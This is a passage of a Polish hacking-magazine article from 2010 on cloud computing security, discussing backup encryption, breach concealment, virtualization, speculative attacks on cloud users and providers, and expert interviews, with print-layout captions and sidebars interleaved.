w których pełną kontrolę przejmuje
użytkownik. Przechowywanie kopii klucza
przez usługodawcę gwarantuje nam, że nie
zostanie usunięty jeśli np. przechowywany
byłby na tym samym komputerze lokalnym,
który uległ awarii – w takim przypadku
zaszyfrowany backup na nic by się nie
zdał. Nieuczciwy dostawca mógłby jednak
zażądać opłaty za odszyfrowanie danych.
Takie sytuacje mogą zdarzać się właśnie
teraz, kiedy rynek dopiero się kształtuje, a
cloud computing – zwłaszcza w Polsce
– jest stosunkowo rzadko spotykany.
Bezpiecznie jak w banku?
Badania przeprowadzone przez kadrę
naukową Politechniki Wrocławskiej oraz
firmę Supersafe w 2008 roku pokazują, że
zaledwie 8% z 470 przebadanych małych
i średnich firm chroni ważne informacje
Rysunek 1. Antywirus online wykorzystuje chmurę obliczeniową dostawcy, ale dostaje
pełen dostęp do danych. Ilu użytkowników przeczyta umowę?
Rysunek 2. Narzędzia do backupu online to niepozorne programy, które dają dostęp
do nowoczesnych centrów danych za stosunkowo małe pieniądze
1/2010 HAKIN9
27
ATAK
wykorzystując do tego celu backup
online. 1/3 ze wszystkich firm odczuła
bolesne konsekwencje związane z utratą
cennych informacji. W jednym przypadku
na cztery było to związane z awarią
sprzętu komputerowego lub nieumyślnym
usunięciem danych przez pracownika.
Poza backupem popularne obecnie
rozwiązania wykorzystujące cloud
computing to dostęp do pakietów
biurowych, poczty i antywirusów. Klasyczne
czytniki zostały prawie całkowicie wyparte
przez webmaile. Thunderbird czy Outlook
potrafią skutecznie spowolnić starsze
komputery, a uruchomienie najnowszego
Office'a jest na nich prawie niemożliwe.
Użytkownik bez zastanowienia wybiera
więc Google Docs, przechowuje pocztę na
serwerze i daje pełen dostęp do swojego
komputera antywirusowi online. Jak
przekonują eksperci, bardzo wiele zależy
w tym przypadku od reputacji firmy, której
powierzamy własne dane. Odbiorcy usługi
nie zawsze wiedzą jak dokładnie działa
technologia chmur obliczeniowych i ufają
w tym względzie dostawcy. Jeden błąd lub
wyciek danych z takiej firmy może mieć
kluczowy wpływ na jej pozycję na rynku,
więc należy zakładać, że duzi dostawcy
będą starali się utrzymać wysoki poziom
bezpieczeństwa. Z drugiej strony, w razie
ewentualnego wycieku danych lub ataku
cyberprzestępców mogą pokusić się o
utajnienie tego faktu przed opinią publiczną.
W podobny sposób działają banki i duże
serwisy internetowe, które starają się
nie informować o ataku, gdyż mogłoby
to doprowadzić do spadku reputacji w
oczach klientów. Należy zdawać sobie
sprawę, że ukrywanie informacji o wycieku
danych lub ataku na klientów i infrastrukturę
ma też wady. Głównym zagrożeniem
jest to, że wielkie firmy będą próbowały
zbagatelizować sprawę zapewniając
użytkowników, że ich dane są bezpieczne.
Podobne sytuacje miały miejsce
wielokrotnie. Wspomnieć można chociażby
ubiegłoroczny wyciek bazy danych 100000
użytkowników serwisu społecznościowego
Wykop.pl. Jego właściciele przez kilka
tygodni nie ujawnili informacji o tym,
że hasła nie są już bezpieczne, a po
znalezieniu sprawcy poinformowały, że
wszystkie ukradzione kopie bazy zostały
odzyskane. Brzmi to niepoważnie, bo w
jaki sposób sprawdzić ile razy skopiowano
dane? Mimo to użytkownicy poczuli się
bezpieczni – do sprawy włączyła się
przecież policja, a administracja wysyłała
komunikaty o postępach. Większość tego
typu sytuacji, zwłaszcza, jeśli dotyczą
ważniejszych danych niż hasło do serwisu
społecznościowego, nigdy nie zostaje
ujawniona.
Uwaga na terminale
Nie tylko zachowanie w sytuacjach
kryzysowych, ale również same ataki będą
analogiczne jak w przypadku banków.
Dużo łatwiej jest zaatakować pojedynczego
klienta niż dobrze chronione centrum
danych, ale różnica w korzyściach jest
równie znacząca. Za kilka lat, kiedy cloud
computing rozwinie skrzydła, po stronie
Rysunek 3. Z cloud computingiem nieodłącznie wiąże się wirtualizacja. Na zrzucie
Windows XP, SUSE Linux i Windows 7 uruchomione na wspólnej fizycznej maszynie
28 HAKIN9 1/2010
użytkownika będziemy mieli netbooka,
tani komputer lub telefon, na których
główne oprogramowanie stanowi system
operacyjny i przeglądarka. Pakiet biurowy,
klienta poczty i inne programy przeniesiono
w chmurę, wykorzystywany jest również
dysk online od dostawcy usług. Nietrudno
domyślić się, co będzie celem ataku.
Wydawałoby się, że system powinien być
w tym przypadku wyjątkowo bezpieczny.
Niestety tak nie jest. W tanich netbookach,
potencjalnie najbardziej potrzebujących
wsparcia chmury, cały czas masowo
instaluje się leciwego już Windowsa
XP. Microsoft zastrzegł nawet, że na
komputerach mobilnych wyposażonych
w mniej niż 1GB RAM-u nie będzie
instalowana Vista ani Windows 7. Dla
zwykłego użytkownika nie jest to najlepsze
rozwiązanie – domyślnie skonfigurowana
Vista zapewni większe bezpieczeństwo
niż standardowy Windows XP bez service
packów. Jeszcze gorzej może wyglądać
sytuacja gdy Microsoft przestanie wspierać
ten system i nie będzie już wypuszczał łat
na wykryte luki. Bez wsparcia ze strony
Microsoftu użytkownik będzie po prostu
wystawiony na działanie cyberprzestępców.
Dotyczy to również starszych komputerów z
Windowsem 2000 czy 98, które cały czas
można spotkać na starych komputerach.
Na pierwszy rzut oka są oni sami sobie
winni, gdyż nie instalują poprawek i
korzystają ze starego oprogramowania.
Komputer takiego użytkownika może
jednak stać się stacją docelową do
zdobycia cenniejszych zasobów chmury,
które przeznaczone były dla większej
liczby osób. Nietrudno wyobrazić sobie
Rysunek 4. Chmura obliczeniowa
pozwoli połączyć wszystko: terminale,
słabe komputery i urządzenia o małej
mocy obliczeniowej
CLOUD COMPUTING
złośliwe oprogramowanie, które wykorzysta
podłączony do zaatakowanego komputera
dysk online albo użyje dostępnej mocy
obliczeniowej do łamania haseł. Podobne
ataki były już wykorzystywana na
szeroką skalę (m.in. do złamania haseł
użytkowników eBay'a).
Warto zauważyć również rosnące
znaczenie telefonów komórkowych,
dla których podłączenie do chmury
obliczeniowej daje zupełnie nowe
możliwości. Najlepszym przykładem są
mobilne wersje przeglądarki Opera. W
tym przypadku strona pobierana jest
na serwer, następnie renderuje się ją z
uwzględnieniem możliwości wyświetlacza
klienta, kompresuje i dopiero taką wersję
wysyła na ekran telefonu. Wszystkimi tymi
operacjami zajmują się serwery Opery, a
aplikacja zainstalowana w telefonie działa
jedynie jako klient. Jeszcze dalej poszło
Google. Ustalenie granicy między tym, co
w systemie Android działa lokalnie, a w
chmurze jest bardzo trudne.
Dla kogo chmura?
Niektórzy, w szczególności firmy i instytucje
rządowe, nie mogą pozwolić sobie na
korzystanie z cudzych chmur, więc tworzą
własne. Chmura obliczeniowa jest w
rzeczywistości siecią serwerów, której
budowa dla użytkownika nie powinna mieć
znaczenia. W związku z tym każda firma,
która nie może powierzyć swoich danych
zewnętrznym dostawcom usług ma szanse
na zastosowanie cloud computingu,
którego głównym celem jest przecież
lepsze wykorzystanie zasobów i obniżenie
kosztów. W systemach takich pojawia się
problem z zapanowaniem nad serwerami
czy dyskami sieciowymi – wszystko to jest
przecież wirtualizowane. Pojawiło się już
określenie server sprawl (rozrost serwerów),
oznaczające gwałtowny wzrost liczby
wirtualnych maszyn, którymi coraz trudniej
jest zarządzać. Coraz mniejsze znaczenie
ma też fizyczna ilość komputerów czy
dysków – ważne jest to, co widzi użytkownik.
Administratorzy często uświadamiają sobie
kwestie związane z bezpieczeństwem
dopiero po wdrożeniu wirtualizacji.
Powszechną praktyką jest skupianie się na
dostarczaniu serwerów, a dopiero później
analizowanie, jak je zabezpieczyć – pisze
Rafał Janus z virtualfocus.pl, jednego z
najlepszych polskich serwisów zajmujących
Rysunek 5. Przykładem zastosowania chmury obliczeniowej są pakiety biurowe
dostępne online
się wirtualizacją. Stworzenie bezpiecznego
środowiska nie jest więc proste i wymaga
wiedzy. Warto nadmienić, że wirtualizacja
to nie tylko umieszczanie wielu serwerów
na jednej fizycznej maszynie. Pojęcie
to dotyczy również pamięci masowych
(wirtualne dyski), komputerów biurkowych
oraz aplikacji.
Ataki przyszłości
Potencjalnym niebezpieczeństwem mogą
być próby podszycia się pod dostawcę
usług. Obecnie często zdarzają się
ataki phishingowe (podszywanie się
pod banki i serwisy w celu przejęcia
konta użytkownika) oraz fałszowanie
wpisów w serwerach DNS. Atakujący
wykorzystują pośrednią witrynę, która
pobiera przekazane dane, zapisuje je
i natychmiastowo przekierowuje do
prawdziwego serwera. Podobny atak
można by przeprowadzić w odniesieniu
do cloud computingu. Główna idea
to przechwycenie danych wysyłanych
w chmurę. Można założyć, że są one
wartościowe, bo płatny hosting online
będzie używany do przechowywania
stosunkowo ważnych plików. Najprostszym
pomysłem, stosowanym początkowo w
phishingu, byłoby stworzenie własnej usługi
udającej np. Google Docs i zachęcenie
Rysunek 6. W kwestii bezpieczeństwa
usług wykorzystujących cloud computing
na razie powinniśmy kierować się
rekomendacjami, mówi Karel Oblug z
AVG Technologies
1/2010 HAKIN9
29
ATAK
internautów do skorzystania z niej.
Wymaga to jednak własnej infrastruktury.
Zamiast tego lepiej byłoby stworzyć tunel
między użytkownikiem a chmurą Google i
przechwytywać tylko interesujące dane. W
tym przypadku nie wystarczy sama strona
z formularzem logowania, ale konieczne
jest utrzymanie stałego połączenia – dane
są bowiem wymieniane stale, często
asynchronicznie z użyciem AJAX-u, a więc
bez odświeżania strony.
Rozwiązaniem tego problemu (ze strony
atakującego) mogłoby być przykładowo
postawienie serwera proxy i modyfikacja
przeglądarki ofiary tak, aby łączyła się za
jego pośrednictwem. Jeśli transmisja jest
szyfrowana (w przypadku Google Docs
nie jest) należałoby dodatkowo zająć się
jej złamaniem. Oczywiście jest to jedynie
model, a na tej samej zasadzie można
uruchomić znacznie bardziej złożone i
trudniejsze do wykrycia tunele. Atak taki
jest tylko pomysłem, a jego praktyczna
realizacja może być skomplikowana, ale
przechwycenie połączenia jest możliwe.
Możemy spodziewać się, że w przyszłości
pojawią się próby podszycia pod dostawcę
usług przetwarzania w chmurze właśnie w
ten sposób.
Obecnie często spotykanym atakiem
jest SQL injection, czyli wstrzyknięcie
zapytania do bazy danych prosto od strony
klienta. Jeśli serwer źle filtruje zapytania,
zadane chociażby przez przeglądarkę,
może okazać się, że użytkownik zmusi
go do wykonania niebezpiecznych
operacji. Błędy te dotyczą głównie
unikatowych systemów robionych na
konkretne zamówienie lub pisanych
przez niedoświadczonych programistów.
W przypadku dużych firm SQL injection
rzadko ma miejsce. Podobny atak można
by zastosować w przypadku usług
działających w chmurach obliczeniowych.
Analizując wysyłane i otrzymywane przez
przeglądarkę komunikaty, atakujący może
zlokalizować miejsca, w których da się
dokleić dodatkowy kod. W przeciwieństwie
do serwerów stron WWW, które dają co
najwyżej dostęp do bazy danych, chmury
obliczeniowe mogą zostać wykorzystane
do wykonania niebezpiecznego kodu
lub nawet umieszczenia go na stałe na
serwerach.
i całkowicie odizolowana od dostępu z
zewnątrz.
Pozwala to chronić uruchomioną
aplikację przed próbami wyszukiwania dziur
i zasadniczo czyni je bezpieczniejszymi.
Z drugiej strony programy, które nigdy nie
wychodzą poza serwery dostawcy usługi
mogą posiadać wiele dziur, o których
załatanie nikt nie będzie się specjalnie
martwił. Jeśli w jakiś sposób udałoby
się uzyskać dostęp do wnętrza systemu
(np. poprzez przekupienie pracowników),
atakujący mógłby liczyć na to, że
znalezione przez niego dziury pozostaną
niezauważone przez wiele miesięcy.
Gdzie zaatakować?
Działanie takie wymaga pracy, ale może
być opłacalne. Obecnie małe firmy i osoby
prywatne nie mogą pozwolić sobie na
opiekę doświadczonych administratorów
czy audyt bezpieczeństwa posiadanych
urządzeń. Zwłaszcza zwykli użytkownicy nie
przejmują się specjalnie bezpieczeństwem
swoich danych, aplikacji i sprzętu. Duże
firmy sprzedające swoje usługi i zasoby
w ramach modelu SaaS przywiązują
znacznie większą wagę do bezpieczeństwa.
W dodatku będzie ona rosła wraz z
rozwojem rynku i konkurencji. Trudność w
dotarciu do atakowanego oprogramowania
i wykryciu luk oraz niezbędne kwalifikacje
doprowadzą do wzrostu cen exploitów
oraz informacji o lukach dnia zerowego
– ostrzegają eksperci. Atak na centrum
danych czy chmury serwerów nie będzie
już mógł być wykonany przez amatorów,
którzy przypadkiem znaleźli w sieci
odpowiednie programy (script kiddies),
ale stanie się domeną grup, które będą
w stanie zainwestować we własnych
programistów, czy właśnie przekupienie
pracowników atakowanej firmy w celu
wyciągnięcia programu na zewnątrz.
Większość osób mogłaby być z tego
powodu zadowolona – skończą się ataki
dla zabawy albo w celu pochwalenia
się znajomym – ale przyszłość nie jest
aż tak różowa. Same serwerownie są z
oczywistych względów, chociażby opieki
administratora, bezpieczniejsze niż typowy
domowy czy biurowy pecet, ale groźne
mogą okazać się aplikacje używane w
cloud computingu. Kontrolę nad atakami
na chmury obliczeniowe przejmie mafia
Atak na jedną maszynę jest zawsze
prostszy niż na całą ich sieć, ale w
przypadku chmur obliczeniowych celem
wcale nie musi być pojedynczy serwer.
Na samodzielnych serwerach atak
polega na znalezieniu świadczonych
przez niego usług, zidentyfikowaniu
oprogramowania, wykryciu jego słabych
punktów i skorzystaniu z programów,
które wykorzystują te dziury. To, czy
oprogramowanie pisane jest samodzielnie
czy ściągnięte z Internetu nie ma w tym
przypadku znaczenia. Podobnie wygląda
atak na tysiące zwykłych komputerów, ale
pomijana jest sprawa wykrywania błędów
w oprogramowaniu. Cyberprzestępcy
zarażają możliwie dużą liczbę komputerów
licząc na to, że w części z nich trafią
się dziurawe aplikacje, które można
wykorzystać. W przypadku chmury
obliczeniowej
sprawa wygląda
zupełnie inaczej.
Usługodawca
dostarcza tylko
interfejs aplikacji,
a cała część
obliczeniowa
znajduje się na
jego serwerach.
Jeśli architektura
oprogramowania
jest dobrze
opracowana, to
część użytkowa
aplikacji powinna
Rysunek 7. Lokalizacja 38 centrów danych firmy Google. Źródło:
wayfaring.com/
być bezpieczna
30 HAKIN9 1/2010
Żegnajcie, script kiddies!
CLOUD COMPUTING
lub rządu państw przygotowujących się
do ceberwojny. Powrót do czasów grup
ganianych hackerów byłby najlepszą
możliwa perspektywą, bo nikt rozsądny
nie powinien zakładać, że wraz z
przeniesieniem większości usług w chmury
znikną problemy z atakami na dane.
Przeniosą się one po prostu na wyższy,
niedostępny dla większości osób, poziom.
Po drugiej stronie, poza bezpieczną
chmurą, mamy miliony zwykłych
użytkowników, którzy korzystają z tysięcy
różnych wyszukiwarek na setkach systemów
operacyjnych. Przenosząc swoje programy
do Sieci prawie całkowicie zrzucają oni
odpowiedzialność za swoje zasoby na
administratorów i dostawców usług. W
takiej sytuacji, wbrew logice, świadomość
dotycząca kwestii bezpieczeństwa może się
wśród nich zmniejszyć. Ciągłe korzystanie
z usług udostępnianych za pośrednictwem
Sieci, w tym ochrony antywirusowej, może
doprowadzić do zaniku świadomości
zagrożeń płynących z Internetu i większemu
zaufaniu do programów uruchamianych po
stronie serwera. Zmiany te nie będą jednak
znaczące.
Za ochronę takich użytkowników
mogliby wziąć się producenci
oprogramowania instalowanego na
lokalnych maszynach – w przyszłości
będą to głównie przeglądarki. Standardem
powinna stać się na przykład praca
każdej karty w osobnym procesie,
tak jak ma to miejsce w Google
Chrome. Z drugiej strony dostawcy
usług mogą nie dopuszczać do Sieci
niektórych użytkowników, korzystających
z nieaktualnego i niebezpiecznego
oprogramowania. Obecnie, aby uzyskać
dostęp do części zasobów, zwłaszcza
związanych z backupem danych, należy
skorzystać z oprogramowania klienckiego
dostarczonego przez dostawcę usługi.
Naturalnym wydaje się, że nie wszyscy
będą dopuszczali do swoich sieci stare
i niebezpieczne przeglądarki lub nie
wszystkie będą wspierane. Wskazuje na to
aktualne podejście banków, które działają
podobnie jak firmy związane z cloud
computingiem.
Powrót do korzeni
Zmiany w nastawieniu do bezpieczeństwa
mogą oznaczać powrót do początków
hakingu. Kiedy pojawili się źli hakerzy,
łamanie zabezpieczeń nie polegało na
pobraniu z sieci gotowych skryptów albo
kupnie magazynu, otwarciu go na dziale
Atak i wykorzystaniu opisanych programów.
Musiały one zostać wymyślone. Celem
osób przełamujących zabezpieczenia był
darmowy dostęp do telefonu, zasobów
mainframe'u albo po prostu chęć
udowodnienia innym, że system nie jest
bezpieczny. Włamania nie były aktem
wandalizmu, ale służyły konkretnym celom.
Oczywiście, wielkie firmy były okradane, ale
właściwie tylko one i konkurenci hakerów
stawały się ofiarami.
Później, wraz z upowszechnieniem się
Internetu, przyszła pora na przestępców
czyhających na nieświadomych
internautów, którzy w dalszym ciągu dają
się nabierać na próby wyłudzenia haseł,
zostawiają domyślne hasła i instalują
wszystko co tylko trafi im w ręce. Z drugiej
strony łatwość z jaką można uzyskać
narzędzia, ułatwiając włamania sprzyja
wszystkim internetowym wandalom.
Wykorzystanie ściągniętego z sieci exploita
w celu zrobienia żartu koledze może być
zabawne, ale ataki przeprowadzone przez
osoby niemające pojęcia o tym, co robi
pobrany z sieci program polegają zwykle
na bezsensownym zniszczeniu cudzej bazy
danych albo danych z serwera FTP.
Jeśli cloud computing rozwinie się do
poziomu, w którym korzystać będziemy
głównie z przeglądarki, to możemy
spodziewać się ponownej profesjonalizacji
hakingu. Znikną nie tylko firmowe serwery
WWW i FTP, ale też większość lokalnego
oprogramowania, którego dziury są
częstą przyczyną ataków na zwykłych
użytkowników.
Uzależnieni od dostawcy
Problemem groźniejszym od nawet
najlepszych hakerów może stać się
nagły brak dostępu do Sieci. Użytkownicy
indywidualni rzadko kiedy korzystają z
komputera niepodłączonego do Internetu,
a trend do ciągłego bycia online będzie
się zwiększał. Jeśli większość usług,
programów i danych przeniesiemy w
dostępne tylko przez Internet chmury
obliczeniowe, to odłączenie od Sieci może
oznaczać katastrofę. W ciągu najbliższych
kilku lat, dzięki lepszemu wykorzystaniu
GSM-u i pojawieniu się WiMAX
wzrośnie dostęp do bezprzewodowego
Internetu, ale cały czas będą pojawiały
się miejsca, w których znajdziemy się
poza zasięgiem. Nawet jeśli cały świat
zostanie pokryty sygnałem, to mogą
zdarzyć się awarie, które odetną od Sieci
setki osób. Ich komputery staną się w
tej sytuacji praktycznie bezużyteczne.
Bezpieczeństwo? Jeszcze nie teraz
Bezpieczeństwo danych przechowywanych w chmurach ma, przynajmniej na razie, małe
znaczenie dla klientów. Rozmowa z Karlem Oblukiem, dyrektorem ds.Technologii w AVG
Technologies, przeprowadzona dla magazynu hakin9.
Czy klienci ufają usługom w chmurach, czy preferują lokalne rozwiązania?
Wydaje mi się, że wielu użytkowników, którzy przechowują swoje dane online nie do końca
uświadamia sobie implikacje związane z kwestiami bezpieczeństwa. Ufają dostawcom tych
usług, a ich największym zmartwieniem jest to, by czas potrzebny na załadowanie plików
(backup) był jak najkrótszy. Wraz ze wzrastającą ilością funkcjonalności oferowanych przez
usługodawców oraz stale zwiększającą się przepustowością łącz, rozwiązania tego typu mogą
zyskiwać na popularności.
Jak cloud computing zmieni podejście zwykłego użytkownika do kwestii
bezpieczeństwa?
Z uwagi na fakt, iż zabezpieczenie danych tego typu jest bardzo skomplikowane, większość
użytkowników zaufa w tej kwestii dostawcom usług backupu, opierając się na rekomendacjach
i recenzjach. Podsumowując, nie uważam, by chmury obliczeniowe miały spowodować
diametralną zmianę w podejściu zwykłego użytkownika do kwestii bezpieczeństwa.
W jaki sposób chronione są dane przechowywane w chmurach?
Sposób, w jaki chronione są dane, w dużej mierze zależy od usługodawcy. Od prostego
kodowania z kluczem, w posiadaniu którego jest dostawca usługi, po systemy bezpieczeństwa
wykorzystujące złożone mechanizmy kodowania, a jedynym posiadaczem klucza jest sam
użytkownik.
1/2010 HAKIN9
31
ATAK
Inaczej wygląda sprawa firm, zwłaszcza
klasycznych, nastawionych na produkcję.
W ich przypadku dostęp do zewnętrznej
sieci nie jest konieczny przez cały czas,
a lokalne chmury obliczeniowe mogą
działać samodzielnie. Zadania takie jak
kontrola produkcji, logowanie wejść i wyjść
pracowników czy obsługa wewnętrznej
poczty i drukarek nie muszą wymagać
dostępu do Internetu. Z drugiej strony
zadania niemające bezpośredniego
wpływu na produkcję (backup, zewnętrzny
serwer poczty, hosting stron internetowych)
mogą zostać przeniesione na zewnątrz.
Posiadanie własnej chmury zapewni
oczywiście większe bezpieczeństwo i
konieczną niezależność od dostawców
Internetu, ale ogranicza podstawową zaletę
cloud computingu – skalowalność.
W obydwu przypadkach mamy
jednak do czynienia z uzależnieniem się
od dostawcy Internetu. W Polsce mamy
dostęp do kilku operatorów, co daje
możliwość wyboru i marginalizuje ryzyko
nieuczciwych operacji, ale nie wszędzie
tak jest. W krajach, w których działa tylko
jeden dostawca technologii GSM, może
on dyktować ceny, gdyż wie, że klienci
i tak zapłacą za dostęp do Sieci. Jeśli
dodatkowo operator jest kontrolowany przez
rząd, jak np. w Zjednoczonych Emiratach
Arabskich, mogą pojawić się próby kontroli
tego, co robią użytkownicy lub nawet
odcięcia ich od Internetu, a w praktyce
Chmura w oczach klienta
O tym, jak przechowywanie i przetwarzanie informacji w chmurach obliczeniowych postrzegane
jest przez klientów indywidualnych i biznesowych mówi Dorota Oviedo, analityk rynku ICT z firmy
Frost & Sullivan (www.frost.com).
Chmury obliczeniowe i dystrybucja oprogramowania w modelu SaaS to dziś nie tylko
modne hasła sektora ICT, ale wyraźne trendy rynkowe. Najwięksi gracze inwestują obecnie
w infrastruktury bazujące na chmurach obliczeniowych. Liderzy rynku telekomunikacji
zunifikowanej i pracy grupowej również propagują SaaS, co widać na przykładzie Cisco i
WebEx, IBM i LotusLive czy Microsoft i usług z rodziny BPOS. Ponadto popularność mediów
społecznościowych i poczty elektronicznej typu Gmail wśród użytkowników indywidualnych
wspomaga akceptację chmur.
Co ciekawe, zainteresowanie tymi usługami wykazują zarówno małe firmy, jak i
korporacje, które coraz chętniej oddają obowiązek administracji, zapewnienia dostępności i
bezpieczeństwa rozwiązania w ręce dostawcy usług, co pozwala im skoncentrować się na
rozwoju głównej działalności.
Spowolnienie gospodarki światowej zdecydowanie napędza ten rynek usług. Obecnie firmy
preferują rozwiązania oparte na wydatkach bieżących. Dla najmniejszych firm duże znaczenia
ma również poziom zaawansowania współczesnych systemów komunikacji biznesowej i brak
wykwalifikowanego personelu do zarządzania tymi systemami. W przypadku dużych firm
elastyczność usług komunikacyjnych pozwala na wypróbowanie dostępnych narzędzi. Chociaż
utrata kontroli i bezpieczeństwo są często wymieniane jako główne zagrożenie dla rozwoju
rynku, reputacja dostawcy usług, umowy SLA (o standard usługi) oraz przykłady wdrożeń
niwelują obawy potencjalnych klientów. W praktyce przeważają korzyści cenowe, szczególnie w
przypadku sektora małych firm.
Wirtualizacja
Wirtualizacja polega na programowym lub sprzętowym oddzieleniu warstwy zasobów
od aplikacji, które z nich korzystają. W ten sposób tworzy się abstrakcyjną warstwę, która
przysłania dostępne zasoby. Popularnym rozwiązaniem jest instalowanie wirtualnych systemów
operacyjnych. Tak zainstalowany system można zapisać i przenieść na inny komputer
wyposażony w oprogramowanie do wirtualizacji. Zajmuje to tyle, ile potrzeba na skopiowanie
plików do nowej lokalizacji. Na jednym fizycznym komputerze może znajdować się wiele
wirtualnych systemów operacyjnych.
Dzięki temu rozwiązaniu każdy z nich może pracować niezależnie i obsługiwać tylko jedną
aplikację, co pozwala na ochronę np. systemu z serwerem poczty, jeśli zaatakowany zostanie
system z serwerem FTP. Wirtualizacja pozwala na lepsze wykorzystanie zasobów – wiele mało
obciążonych serwerów może znajdować się na jednej fizycznej maszynie, a jeśli któryś z nich
zwiększy zapotrzebowanie na zasoby można go przenieść na inny komputer. Wirtualizowane
mogą być również dyski twarde (zarówno poprzez łączenie w macierz RAID, jak i dzielenie
fizycznych nośników), aplikacje czy procesory.
32 HAKIN9 1/2010
również komputerów. Znów dochodzimy do
punktu, w którym musimy zaufać kolejnej
firmie.
Dla największych firm dostarczających
usługi w modelu cloud computing
znaczenie ma również fizyczna
lokalizacja serwerowni. Jeśli usługi mają
być świadczone na całym świecie, to
opóźnienia związane z transferem danych
do serwera, znajdującego się tysiące
kilometrów od użytkownika, znacząco
wpłyną na szybkość transmisji. W tym
przypadku ważne jest rozmieszczenie
serwerów w okolicach, z których łączy
się najwięcej osób. Sprawa nie jest
jednak tak prosta. Google podaje, że
stworzenie jednego data center kosztuje
ich około 600 milionów dolarów, a roczne
utrzymanie wszystkich centrów danych
to wydatek rzędu 3 miliardów dolarów.
Duży wpływ na te wydatki ma lokalizacja
data centers. Wybierane są takie miejsca,
które zapewniają dostęp do taniej, a
ostatnio także zielonej, energii. Ważny
jest dostęp do rzek i jezior, których woda
jest używana do chłodzenia serwerowni
oraz otoczenie zapewniające prywatność
i bezpieczeństwo. Pod uwagę brane
są również podatki w danym kraju oraz
odległość do już istniejących centrów
danych. Dzięki takiej optymalizacji możemy
uzyskać odpowiedź na najbardziej
złożone zapytanie do wyszukiwarki po
dziesiątych częściach sekundy, a w
czasie wpisywania zapytania na bieżąco
dostajemy podpowiedzi. Każde wciśnięcie
klawisza zmusza do pracy kilkadziesiąt
serwerów Google, znajdujących się w
różnych częściach świata, a zużywana
przez nie energia wystarcza podobno do
zagotowania 100 ml (połowy szklanki) wody.
Zapłacimy za bezpieczne
chmury!
Kadra kierownicza w dziedzinie IT oczekuje
ochrony danych i aplikacji działających
w chmurze. Twierdzi tak 89% badanych,
co pokazują badania przeprowadzone
w październiku 2009 roku przez Trend
Micro, firmę dostarczającą rozwiązania
zabezpieczenia infrastruktury udostępnianej
przez Internet (security for-the-cloud).
Niestety tylko 40% ankietowanych bierze
pod uwagę wyłącznie bezpieczne
rozwiązania. Dla pozostałych ważniejsza
CLOUD COMPUTING
jest skalowalność i obniżenie kosztów.
Takie podejście może mieć związek z
brakiem dostatecznej wiedzy na temat
bezpieczeństwa – co martwi – lub z
chłodną kalkulacją wykazującą, że ryzyko
utraty danych rekompensuje potencjalne
zyski. Z drugiej strony 61% pytanych nie
jest jeszcze gotowych do przeniesienia
infrastruktury w chmury, ale ma zamiar
skorzystać z tej technologii kiedy będzie
miała pewność, że jest ona bezpieczna.
Dostawcy oprogramowania, służącego
do tworzenia chmur obliczeniowych,
powinni więc zwrócić szczególną uwagę
na stworzenie bezpiecznych rozwiązań
i sposobu ich certyfikacji, gdyż tego
oczekują ich potencjalni klienci. Obecnie
porównanie konkurencyjnych systemów
jest trudne, a sami dostawcy podkreślają,
że klienci bazują głównie na zaufaniu i
poleceniach danej firmy. Uniwersalny
system certyfikatów mógłby rozwiązać ten
problem. Korzyści odnieśliby zarówno sami
użytkownicy, którzy mieliby ułatwiony wybór,
jak i uczciwe, pewne firmy.
Dostawcy na celowniku
Atak może dotyczyć usługodawcy, a nie
tylko użytkowników cloud computing.
Nietrudno wyobrazić sobie sytuację, w
której użytkownicy, zwłaszcza prywatni,
mogliby próbować uzyskać większą ilość
zasobów niż jest dla nich przeznaczone.
Warto więc zwrócić uwagę na
bezpieczeństwo samych serwerowni i
działających na nich aplikacji. Podstawowe
niebezpieczeństwa są takie jak w
przypadku innych usług tego typu (fizyczne
uszkodzenia, błędy pracowników), więc
doświadczeni administratorzy powinni
sobie z nimi poradzić. Dochodzą do
tego ataki z zewnątrz (np. DDoS) i próby
uruchomienia niezaufanego kodu przez
użytkowników.
Niezaprzeczalną zaletą chmury
obliczeniowej, również pod względem
bezpieczeństwa, jest jej rozproszenie.
Ataki Dos i DDoS, polegających
na zalaniu serwera falą zapytań i
wyczerpania zasobów, grożą większości
scentralizowanych usług. Obrona przed
tysiącami fałszywych zapytań to w
gruncie rzeczy filtrowanie ich przez serwer.
W przypadku chmury obliczeniowej
obciążenie dzielone jest na wiele maszyn, a
ryzyko wyczerpania zasobów pojedynczego
komputera spada.
W chmurze ułatwiona jest
również fizyczna ochrona danych. W
profesjonalnych rozwiązaniach dane
przechowywane są w wielu serwerowniach,
aby zapewnić szybki dostęp z każdego
miejsca na świecie. Serwery są więc
fizycznie oddalone od siebie, co chroni
przed pożarem w serwerowni, awarią
pojedynczej maszyny czy pomyłkami
pracowników.
W przypadku firm dostarczających
usługi w modelu cloud computing duże
znaczenie ma wirtualizacja. Nikogo
nie trzeba przekonywać o tym, że
fizyczne serwery są wykorzystywane w
większym stopniu, jeśli umieści się na
nich wiele maszyn wirtualnych. Tak jak
w innych przedsiębiorstwach, również
w firmach wykorzystujących chmurę,
pozwala to redukować koszty i zwiększyć
wykorzystanie serwerów, ale nie tylko.
Odchodzimy od modelu, w którym na
serwerze było kilka różnych aplikacji, a
przechodzimy do rozwiązania, w którym
na jednym wirtualnym serwerze jest
jedna aplikacja. W konsekwencji liczba
maszyn wirtualnych drastycznie rośnie,
wzrasta liczba wirtualnych aplikacji, a tym
wszystkim trzeba jakoś zarządzać – mówił
Rafał Kwaśny z firmy Novell, podczas
debaty przeprowadzonej przez serwis
VirtualFocus. Rozproszenie aplikacji na
samodzielne maszyny wirtualne pozwala
chronić wszystkich klientów przed atakiem
na pojedyncze aplikacje. W systemach
niewykorzystujących wirtualizacji lub
łączących wiele usług na jednej maszynie
wirtualnej istnieje ryzyko przejęcia kontroli
nad chronionymi aplikacjami i danymi
poprzez atak na mniej bezpieczne
rozwiązania działające na tej samej
maszynie. Układ jeden system – jedna
aplikacja znacząco zmniejsza to ryzyko.
Jeśli atakujący przejmie kontrolę nad
niezabezpieczonym programem, to w
najlepszym przypadku dostanie się tylko do
zwirtualizowanego systemu, na którym nie
ma żadnych znaczących danych.
Podsumowanie
Chmura obliczeniowa jest pojęciem na
tyle abstrakcyjnym, że problemem może
być prawna regulacja tego typu usług. Już
teraz giganci Internetu muszą brać pod
uwagę, że nie wszędzie mogą oferować
swoje usługi. Niektóre kraje nie pozwalają
na stosowanie narzędzi kryptograficznych
przez użytkowników cywilnych, w innych
mocno ograniczony jest dostęp do
materiałów o treściach erotycznych lub
możliwości przechowywania danych
osobowych. Część firm dostosowuje się
do międzynarodowych i lokalnych regulacji
– np. w YouTube nie obejrzymy filmów,
których nie dopuszcza prawo danego
kraju. Wraz z rozwojem cloud computingu
